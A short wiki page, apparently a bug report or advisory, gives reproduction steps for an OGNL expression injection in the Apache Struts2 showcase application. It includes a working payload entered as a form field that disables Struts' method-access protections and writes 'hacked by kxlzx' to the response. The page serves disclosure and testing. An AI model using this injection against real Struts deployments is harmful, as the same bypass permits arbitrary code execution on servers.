Page History

...

1. Run struts2-showcase
2. Open url: http://localhost:8080/struts2-showcase/skill/edit.action?skillName=SPRING-DEV^{Image Removed}
3. write skill name to %{expr} for example:

   Code Block
   %{(#_memberAccess['allowStaticMethodAccess']=true)(#context['xwork.MethodAccessor.denyMethodExecution']=false) #hackedbykxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#hackedbykxlzx.println('hacked by kxlzx'),#hackedbykxlzx.close())}

4. submit the form

...